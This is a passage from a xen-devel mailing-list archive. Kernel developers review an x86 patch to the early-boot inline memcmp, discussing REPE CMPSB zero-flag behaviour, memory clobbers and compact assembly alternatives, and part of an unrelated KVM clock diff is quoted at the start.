> -				data->flags |= KVM_CLOCK_REALTIME | KVM_CLOCK_HOST_TSC;
> -			} else
> -#endif
> -			data->host_tsc = rdtsc();
> -
> -			data->flags |= KVM_CLOCK_TSC_STABLE;
> -			hv_clock.tsc_timestamp = ka->master_cycle_now;
> -			hv_clock.system_time = ka->master_kernel_ns + ka->kvmclock_offset;
> -			kvm_get_time_scale(NSEC_PER_SEC, get_cpu_tsc_khz() * 1000LL,
> -					   &hv_clock.tsc_shift,
> -					   &hv_clock.tsc_to_system_mul);
> -			data->clock = __pvclock_read_cycles(&hv_clock, data->host_tsc);
> -		} else {
> -			data->clock = get_kvmclock_base_ns() + ka->kvmclock_offset;
> -		}
> +				data->flags |= KVM_CLOCK_REALTIME | KVM_CLOCK_HOST_TSC | KVM_CLOCK_TSC_STABLE;
> +
> +				hv_clock.tsc_timestamp = ka->master_cycle_now;
> +				hv_clock.system_time = ka->master_kernel_ns + ka->kvmclock_offset;
> +				kvm_get_time_scale(NSEC_PER_SEC, get_cpu_tsc_khz() * 1000LL,
> +						   &hv_clock.tsc_shift,
> +						   &hv_clock.tsc_to_system_mul);
> +				data->clock = __pvclock_read_cycles(&hv_clock, data->host_tsc);
> +				continue;
> +			}
>  
> -		put_cpu();
> +			/*
> +			 * Clock read failed (e.g. clocksource is transitioning
> +			 * away from TSC). Fall back to the non-master-clock path
> +			 * rather than spinning.
> +			 */
> +		}
> +#endif
> +		data->clock = get_kvmclock_base_ns() + ka->kvmclock_offset;
>  	} while (read_seqcount_retry(&ka->pvclock_sc, seq));
>  }
>  
> -- 
> 2.54.0
> 


From xen-devel-bounces@lists.xenproject.org Fri Jul 24 21:41:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 21:41:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370276.1618509 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnNeE-0007Lx-H5; Fri, 24 Jul 2026 21:41:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370276.1618509; Fri, 24 Jul 2026 21:41:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnNeE-0007Lq-DP; Fri, 24 Jul 2026 21:41:38 +0000
Received: by outflank-mailman (input) for mailman id 1370276;
 Fri, 24 Jul 2026 21:41:36 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <hpa@zytor.com>) id 1wnNeC-0007Lk-CS
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 21:41:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnNe9-0026KP-Pa
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 23:41:33 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <hpa@zytor.com>)
 id 6a63dbb5-bab6-0a2a0a5309dd-0a2a4506cf26-26
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 23:41:33 +0200
Received: from [198.137.202.136] (helo=mail.zytor.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <hpa@zytor.com>)
 id 6a63dc0b-195a-0a2a45060019-c689ca88dbfe-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 23:41:33 +0200
Received: from ehlo.thunderbird.net ([172.56.213.251]) (authenticated bits=0)
 by mail.zytor.com (8.18.1/8.17.1) with ESMTPSA id 66OLf3tC1897596
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NO);
 Fri, 24 Jul 2026 14:41:05 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=2026062701 header.d=zytor.com header.i="@zytor.com" header.h="Date:From:To:CC:Subject:In-Reply-To:References"
DKIM-Filter: OpenDKIM Filter v2.11.0 mail.zytor.com 66OLf3tC1897596
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=zytor.com;
	s=2026062701; t=1784929266;
	bh=xk4/1NbKq2j814emCqmK+oM3nYVHHT25ig+AsYhm2CI=;
	h=Date:From:To:CC:Subject:In-Reply-To:References:From;
	b=LVNbwGDG3GcC7x/akJF7Ov4CF1pTgAbDcCTV6NgjI0vNJI4sJf9mEp1PjBHwi+eek
	 O/AB9YeYmR+Jop20frk/puF/vOfuZI0XyVb1yMHtbwnknJ6knN/j/oT0CBMAV+WLoT
	 hUL2jWzX0H0l24ojMAkvktHPm6vicVDf7uaXaRszbNP4HI1vJzhk7f6rBNAySNddEB
	 L9qonShEPgmxY4shMSSv2ovasibmGgm9i81nSPZ3OplBBv8VbtabwLN2iCx0UNa57A
	 SVW4tyXAPlknujSHoa4ayZr3i3S7z0jf9Ay2ErtQXVjG02qtKitZc/8ke8H2el/huH
	 /JZE+Q7643ZDw==
Date: Fri, 24 Jul 2026 14:40:50 -0700
From: "H. Peter Anvin" <hpa@zytor.com>
To: Brian Gerst <brgerst@gmail.com>
CC: Borislav Petkov <bp@alien8.de>,
        Mauricio Faria de Oliveira <mfo@igalia.com>,
        Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>,
        Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org,
        Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>,
        Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
        linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
Subject: =?US-ASCII?Q?Re=3A_=5BPATCH_v7_2/5=5D_x86/asm=3A_add_volatile=2C_cl?=
 =?US-ASCII?Q?obbers_and_zero-length_check_in_inline_memcmp?=
User-Agent: K-9 Mail for Android
In-Reply-To: <CAMzpN2hdw60=Un+mAFS5CEQqDRZ-d3fMogEwE4NxUe75P-GfSA@mail.gmail.com>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com> <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com> <20260722170334.GCamD35gwrCng30WH1@fat_crate.local> <0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com> <CAMzpN2hyupAUk-XGRzM2wwQojPrsN66jWtT+saVf1NWdOzFXuw@mail.gmail.com> <2f22094d-b8c5-46ec-92b9-dd6752a8dc2e@zytor.com> <CAMzpN2hdw60=Un+mAFS5CEQqDRZ-d3fMogEwE4NxUe75P-GfSA@mail.gmail.com>
Message-ID: <7B30E71C-5893-44A0-B984-F88432462C3C@zytor.com>
MIME-Version: 1.0
Content-Type: text/plain;
 charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-16d1c6/1784929293-1FCCD77B-FAFC1BCC/0/0
X-purgate-type: clean
X-purgate-size: 3974

On July 23, 2026 5:49:13 PM PDT, Brian Gerst <brgerst@gmail=2Ecom> wrote:
>On Thu, Jul 23, 2026 at 7:13=E2=80=AFPM H=2E Peter Anvin <hpa@zytor=2Ecom=
> wrote:
>>
>> On 2026-07-23 12:37, Brian Gerst wrote:
>> > On Wed, Jul 22, 2026 at 2:53=E2=80=AFPM H=2E Peter Anvin <hpa@zytor=
=2Ecom> wrote:
>> >>
>> >> On July 22, 2026 10:03:34 AM PDT, Borislav Petkov <bp@alien8=2Ede> w=
rote:
>> >>> hpa in To:=2E
>> >>>
>> >>> On Tue, Jul 21, 2026 at 12:56:43PM -0300, Mauricio Faria de Oliveir=
a wrote:
>> >>>> Add the volatile qualifier and clobbers parameter to prevent bugs =
with
>> >>>> instruction reordering and optimization=2E
>> >>>>
>> >>>> Also check the zero-length case, as the 'repe' prefix does not run=
 the
>> >>>> 'cmpsb' instruction if the 'count' register is zero, which doesn't=
 set
>> >>>
>> >>> Please use capital letters for insns: REPE, CMPSB and you don't nee=
d to put
>> >>> words in '' - it reads fine without them=2E
>> >>>
>> >>>> the condition-code/zero flag, so the result is based on a stale fl=
ag=2E
>> >>>>
>> >>>> Those are pre-existing issues found by Sashiko=2E
>> >>>>
>> >>>> Link: https://sashiko=2Edev/#/patchset/20260701-pvh-kasan-inline-v=
6-0-ba99045dfa9f%40igalia=2Ecom
>> >>>> Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia=2Ecom>
>> >>>> ---
>> >>>>  arch/x86/include/asm/shared/string=2Eh | 8 ++++++--
>> >>>>  1 file changed, 6 insertions(+), 2 deletions(-)
>> >>>>
>> >>>> diff --git a/arch/x86/include/asm/shared/string=2Eh b/arch/x86/inc=
lude/asm/shared/string=2Eh
>> >>>> index 02b92927553f7b8e1c87e6122bbaa70439e57ea7=2E=2E166274e44f3cb4=
9e3dccab3cdac281d67aef5d44 100644
>> >>>> --- a/arch/x86/include/asm/shared/string=2Eh
>> >>>> +++ b/arch/x86/include/asm/shared/string=2Eh
>> >>>> @@ -11,8 +11,12 @@ static __always_inline int __inline_memcmp(cons=
t void *s1, const void *s2, size_
>> >>>>  {
>> >>>>      bool diff;
>> >>>>
>> >>>> -    asm("repe cmpsb"
>> >>>> -        : "=3D@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
>> >>>> +    if (len =3D=3D 0)
>> >>>> +            return 0;
>> >>>> +
>> >>>> +    asm volatile("repe cmpsb"
>> >>>> +                 : "=3D@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" =
(len)
>> >>>> +                 : : "cc", "memory");
>> >>>>
>> >>>>      return diff;
>> >>>>  }
>> >>>
>> >>> So this is a fix which should probably go to stable, I think=2E Goi=
ng back into
>> >>> git history, it points to
>> >>>
>> >>>  62bd0337d0c4 ("Top header file for new x86 setup code")
>> >>>
>> >> >from 2007=2E And we have carried it this way through the years and =
who knows
>> >>> what hit this or not=2E So please make this the first patch in your=
 set - you
>> >>> can even send it separately so that I can get route it through stab=
le=2E
>> >>>
>> >>> Then you can base the rest ontop=2E
>> >>>
>> >>> Thx=2E
>> >>>
>> >>
>> >> Also, this is silly=2E Instead of adding a whole separate test, just=
 do "test %3,%3" before the repe to set ZF and let the REPE skip=2E
>> >
>> > REPE does not check ZF before the first iteration=2E
>> >
>> > From the Intel SDM:
>> > "When the REPE/REPZ and REPNE/REPNZ prefixes are used, the ZF flag
>> > does not require initialization because both
>> > the CMPS and SCAS instructions affect the ZF flag according to the
>> > results of the comparisons they make=2E"
>> >
>>
>> The point was to ensure we have a valid result in ZF (which should be Z=
F=3D1)
>> even if len =3D 0=2E
>
>I had originally thought that the test for RCX=3D=3D0 was also at the end
>of the loop, after the decrement=2E  But a closer look at the
>pseudo-code in the SDM does show that the test is at the start of the
>loop=2E  Starting with RCX=3D=3D0 does indeed skip the comparison and doe=
s
>not touch ZF=2E  Your suggestion is good, but should have a comment
>explaining why it's there to someone reading the code in the future=2E
>

See other post=2E


From xen-devel-bounces@lists.xenproject.org Fri Jul 24 21:54:11 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 21:54:11 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370284.1618517 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnNqG-0000jX-Gv; Fri, 24 Jul 2026 21:54:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370284.1618517; Fri, 24 Jul 2026 21:54:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnNqG-0000jQ-EJ; Fri, 24 Jul 2026 21:54:04 +0000
Received: by outflank-mailman (input) for mailman id 1370284;
 Fri, 24 Jul 2026 21:54:03 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <hpa@zytor.com>) id 1wnNqF-0000jK-IC
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 21:54:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnNqE-007rpI-VV
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 23:54:02 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <hpa@zytor.com>)
 id 6a63ded4-e002-0a2a0a5209dd-0a2a45049070-18
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 23:54:02 +0200
Received: from [198.137.202.136] (helo=mail.zytor.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <hpa@zytor.com>)
 id 6a63def9-b57f-0a2a45040019-c689ca88dc9a-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 23:54:02 +0200
Received: from ehlo.thunderbird.net ([172.56.213.87]) (authenticated bits=0)
 by mail.zytor.com (8.18.1/8.17.1) with ESMTPSA id 66OLrYZ21917110
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NO);
 Fri, 24 Jul 2026 14:53:37 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=2026062701 header.d=zytor.com header.i="@zytor.com" header.h="Date:From:To:CC:Subject:In-Reply-To:References"
DKIM-Filter: OpenDKIM Filter v2.11.0 mail.zytor.com 66OLrYZ21917110
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=zytor.com;
	s=2026062701; t=1784930018;
	bh=us+Ot6IZgbcHbaM7rOb0wNq4lvujAX3CF4+WVAZHg/c=;
	h=Date:From:To:CC:Subject:In-Reply-To:References:From;
	b=TsafXbX4mBJC9+/AaoHz9jf8HicM5lcrxte6PJD7iUbEyFeG8DRqnlKzS/sjQjgrS
	 VbL9Gz1fTJb77Doef6/hO3wPKkrGQ7fI5k5AP4EUIF7rMJ6LSFphKnY+0aprb1Fb6B
	 Ida2f80Tq82oJYAfs+RmFL1fBxKhg15Ag5/dAF/jGXHyOLyGiFrSDrnLPGpCN1Ra21
	 ly1SAdylo+vFARslMLjJs6pjr/O/CaUuMuNKdmX6sw4hswkkgNcYHsejcVJWl3Tyz2
	 UwdBHJfD3dd/K0jJIqfxwRa1+ctuCz218O0cJ20g8siYW3BwFGV5hYnSrrobCDgY8F
	 VxH4IP2zcSfNA==
Date: Fri, 24 Jul 2026 14:53:21 -0700
From: "H. Peter Anvin" <hpa@zytor.com>
To: Mauricio Faria de Oliveira <mfo@igalia.com>,
        Borislav Petkov <bp@alien8.de>
CC: Jan Beulich <jbeulich@suse.com>, Thomas Gleixner <tglx@kernel.org>,
        Ingo Molnar <mingo@redhat.com>,
        Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org,
        Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>,
        Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
        linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
Subject: =?US-ASCII?Q?Re=3A_=5BPATCH_v7_2/5=5D_x86/asm=3A_add_volatile=2C_cl?=
 =?US-ASCII?Q?obbers_and_zero-length_check_in_inline_memcmp?=
User-Agent: K-9 Mail for Android
In-Reply-To: <8df0340f0dc7f6c303c6a7da78fad7b8@igalia.com>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com> <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com> <20260722170334.GCamD35gwrCng30WH1@fat_crate.local> <0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com> <4daed8ac-b533-436f-9f86-6d297b87abbb@suse.com> <5e19b195-0ca2-4510-81cb-497b40e4aaf5@zytor.com> <8df0340f0dc7f6c303c6a7da78fad7b8@igalia.com>
Message-ID: <7148BD5B-2E06-4137-B361-18AAF329DDC5@zytor.com>
MIME-Version: 1.0
Content-Type: text/plain;
 charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-ebf023/1784930042-528C9B50-9F7ECFF5/0/0
X-purgate-type: clean
X-purgate-size: 4964

On July 23, 2026 5:35:02 PM PDT, Mauricio Faria de Oliveira <mfo@igalia=2Ec=
om> wrote:
>On 2026-07-23 20:12, H=2E Peter Anvin wrote:
>> On 2026-07-22 23:59, Jan Beulich wrote:
>>>>=20
>>>> Also, this is silly=2E Instead of adding a whole separate test, just =
do "test %3,%3" before the repe to set ZF and let the REPE skip=2E
>>>=20
>>> Besides this, isn't the function effectively returning bool wrong anyw=
ay? This
>>> way you can use it for equal / not-equal comparisons, but not for sort=
ing and
>>> alike=2E
>>>=20
>> There is no use case in the early code for sorting, and it seems rather=
 broken
>> to burden the code with that=2E
>
>If this is merged, other users not in early code might eventually
>appear, which might introduce the use case for sorting=2E Even though tha=
t
>is unlikely, as such users could probably use regular memcmp() instead,
>consider that just in case, so I can ask for your input/advice on this:
>
>> That being said it probably should return bool explicitly (it makes no =
sense
>> for the prototype to be different than the internal variable=2E)
>>=20
>> We could call it memneq() if someone really, really cares, I guess=2E
>>=20
>> The early code is very size-sensitive, so I'm really not fond of the id=
ea of
>> burdening it further=2E Perhaps something like:
>
>Do you think this implementation (returns -1/0/+1) is reasonable,
>size-wise, for early code?
>
>I considered submitting it eventually, once the return value difference
>to regular memcmp() was called out [0], as an improvement, if there's
>agreement this would be a good idea considering the scenario above=2E
>
>static __always_inline int __inline_memcmp(const void *s1, const void
>*s2, size_t len)
>{
>        int above, below;
>
>        asm volatile("test %2, %2\n\t"
>                     "repe cmpsb"
>                     : "+S" (s1), "+D" (s2), "+c" (len),
>                       "=3D@cca" (above), "=3D@ccb" (below)
>                     : : "memory");
>
>        return above - below;
>}
>
>@ arch/x86/boot/string=2Eo
>00000028 <memcmp>:
>  28:   66 57                   push   %di
>  2a:   66 56                   push   %si
>  2c:   66 89 c6                mov    %ax,%si
>  2f:   66 89 d7                mov    %dx,%di
>
>  32:   66 85 c9                test   %cx,%cx
>  35:   f3 a6                   repz cmpsb %es:(%edi),%ds:(%esi)
>  37:   0f 97 c0                seta   %al
>  3a:   66 0f b6 c0             movzbw %al,%ax
>  3e:   0f 92 c2                setb   %dl
>  41:   66 0f b6 d2             movzbw %dl,%dx
>  45:   66 29 d0                sub    %dx,%ax
>
>  48:   66 5e                   pop    %si
>  4a:   66 5f                   pop    %di
>  4c:   66 c3                   retw
>
>> A memory clobber is ugly here since no memory is actually modified, alt=
hough
>
>I'm definitely not an expert, but IIUIC, this memory clobber is for
>reads, not writes? Say, a caller/optimized code that writes to the
>buffer(s) prior to __inline_memcmp() and data might still reside in
>registers; even if theoretical/unlikely=2E
>
>As in [1]:
>
>  The "memory" clobber tells the compiler that the assembly code
>performs memory reads or writes [=2E=2E=2E] (for example, accessing the m=
emory
>pointed to [=2E=2E=2E])=2E To ensure memory contains correct values, GCC =
may
>need to flush specific register values to memory before executing the
>asm=2E
>
>> it probably doesn't affect code; "cc" is completely redundant with cond=
ition
>> code output operand=2E
>
>Thanks for explaining=2E I'll remove that in the next version=2E
>
>[0]
>https://lore=2Ekernel=2Eorg/all/324ef97b16f52e0ccc72f6381d1b5dd2@igalia=
=2Ecom/
>[1]
>https://gcc=2Egnu=2Eorg/onlinedocs/gcc/Extended-Asm=2Ehtml#Clobbers-and-S=
cratch-Registers-1
>
>cheers,
>
>> static __always_inline bool
>> __inline_memcmp(const void *s1, const void *s2, size_t len)
>> {
>> 	bool diff;
>>=20
>> 	if (__builtin_constant_p(len =3D=3D 0)) {
>> 		if (!len)
>> 			return false;
>> 		asm volatile("repe cmpsb"
>> 				: "=3D@ccnz" (diff),
>> 				  "+D" (s1), "+S" (s2), "+c" (len)
>> 				: : "memory");
>> 	} else {
>> 		/* Clear ZF beforehand in case len =3D=3D 0 */
>> 		asm volatile("test %3,%3; repe cmpsb"
>> 				: "=3D@ccnz" (diff),
>> 				  "+D" (s1), "+S" (s2), "+c" (len)
>> 				: : "memory");
>> 	}
>> 	return diff;
>> }
>
>

It's pretty bloaty; I don't know exactly how much the rest of the code blo=
ats=2E

I would be fine with having mem[n]eq() though as an explicit API=2E For th=
e out-of-line version used for compiler-generated memcmp() calls it doesn't=
 matter=2E=20

Here is a very compact way the out-of-line version can be written (showing=
 the 64-bit version; formatting apologies, on a phone):

xor %eax,%eax    /* Sets ZF */
repe cmpsb
jr z,1f
movzbl -1(%rdi),%edi
mov -1(%rsi),%al
sub %edi,%eax
1: ret





From xen-devel-bounces@lists.xenproject.org Fri Jul 24 23:36:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 23:36:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370330.1618531 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnPRF-0005JF-NS; Fri, 24 Jul 2026 23:36:21 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370330.1618531; Fri, 24 Jul 2026 23:36:21 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnPRF-0005J8-KB; Fri, 24 Jul 2026 23:36:21 +0000
Received: by outflank-mailman (input) for mailman id 1370330;
 Fri, 24 Jul 2026 23:36:20 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <hpa@zytor.com>) id 1wnPRE-0005J2-Ba
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 23:36:20 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnPRD-00BcJH-B5
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 01:36:19 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <hpa@zytor.com>)
 id 6a63f6dd-bab6-0a2a0a5309dd-0a2a4509e498-6
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 01:36:18 +0200
Received: from [198.137.202.136] (helo=mail.zytor.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <hpa@zytor.com>)
 id 6a63f6f0-be1a-0a2a45090019-c689ca889ca4-3
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 01:36:18 +0200
Received: from [172.27.2.41] (c-76-133-66-138.hsd1.ca.comcast.net
 [76.133.66.138]) (authenticated bits=0)
 by mail.zytor.com (8.18.1/8.17.1) with ESMTPSA id 66ONZint2085117
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NO);
 Fri, 24 Jul 2026 16:35:45 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=2026062701 header.d=zytor.com header.i="@zytor.com" header.h="Date:Subject:From:To:Cc:References:In-Reply-To"
DKIM-Filter: OpenDKIM Filter v2.11.0 mail.zytor.com 66ONZint2085117
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=zytor.com;
	s=2026062701; t=1784936147;
	bh=wYDH5pOs2+jx/abQM0EIsbUFZWqcqfJ/wXbQerifBqs=;
	h=Date:Subject:From:To:Cc:References:In-Reply-To:From;
	b=uZRAuz7fa+7I3KyB1K7hYF2dL8mbMB2lMG24qgmegdW4VmBTOSjx6kcoIUWTOztoV
	 R09akCfZgeXPycfNBMKZG9QrUY/8kIYi0whCecNNVy8aTBehIuz2hmXQ5I9i1nEYAj
	 sWdppzvc0vcHwzw82BtaPxZvefmfKt3p6kImCSuaFpxL/LN9m94Q33pDcVbRwL3Pjx
	 AxPTZ72g07EW3ZHq9Jhxtj/d7QZZKO14RVdGeiXwI+9zHhet4SZkE2W1y0/h7ppUCG
	 /9RtWmRewzzTAKnhj0i0LjZ2FM9D/vtNvH0JkJbAxMuTTSdT74LdWXcQsC19yAGBDG
	 jyLc8csqWSeUg==
Message-ID: <348133f5-8a78-4805-bf0a-b1b08cdc65f2@zytor.com>
Date: Fri, 24 Jul 2026 16:35:39 -0700
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 2/5] x86/asm: add volatile, clobbers and zero-length
 check in inline memcmp
From: "H. Peter Anvin" <hpa@zytor.com>
To: Mauricio Faria de Oliveira <mfo@igalia.com>,
        Borislav Petkov <bp@alien8.de>
Cc: Jan Beulich <jbeulich@suse.com>, Thomas Gleixner <tglx@kernel.org>,
        Ingo Molnar <mingo@redhat.com>,
        Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org,
        Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>,
        Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
        linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
 <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com>
 <20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
 <0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com>
 <4daed8ac-b533-436f-9f86-6d297b87abbb@suse.com>
 <5e19b195-0ca2-4510-81cb-497b40e4aaf5@zytor.com>
 <8df0340f0dc7f6c303c6a7da78fad7b8@igalia.com>
 <7148BD5B-2E06-4137-B361-18AAF329DDC5@zytor.com>
Content-Language: en-US, sv-SE
In-Reply-To: <7148BD5B-2E06-4137-B361-18AAF329DDC5@zytor.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1784936178-FCE14034-7DE4B3E5/0/0
X-purgate-type: clean
X-purgate-size: 1165

On 2026-07-24 14:53, H. Peter Anvin wrote:
> 
> It's pretty bloaty; I don't know exactly how much the rest of the code bloats.
> 
> I would be fine with having mem[n]eq() though as an explicit API. For the out-of-line version used for compiler-generated memcmp() calls it doesn't matter. 
> 
> Here is a very compact way the out-of-line version can be written (showing the 64-bit version; formatting apologies, on a phone):
> 
> xor %eax,%eax    /* Sets ZF */
> repe cmpsb
> jr z,1f
> movzbl -1(%rdi),%edi
> mov -1(%rsi),%al
> sub %edi,%eax
> 1: ret
>
With a C wrapper to work in any mode:

int memcmp(const void *a, const void *b, size_t size)
{
        int diff;

        asm volatile("xor %0,%0 ;"      /* Sets ZF for the size = 0 case */
                     "repe cmpsb ;"
                     "jz 1f ;"          /* When size = 0 loading is unsafe */
                     "movb -1(%2),%b0 ;"
                     "movzbl -1(%1),%k1 ;"
                     "sub %k1,%0 ;"
                     "1:"
                     : "=&q" (diff), "+D" (a), "+S" (b), "+c" (size)
                     : : "memory");
        return diff;
}



From xen-devel-bounces@lists.xenproject.org Fri Jul 24 23:58:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 23:58:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370342.1618540 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnPmX-0008FB-9v; Fri, 24 Jul 2026 23:58:21 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370342.1618540; Fri, 24 Jul 2026 23:58:21 +0000
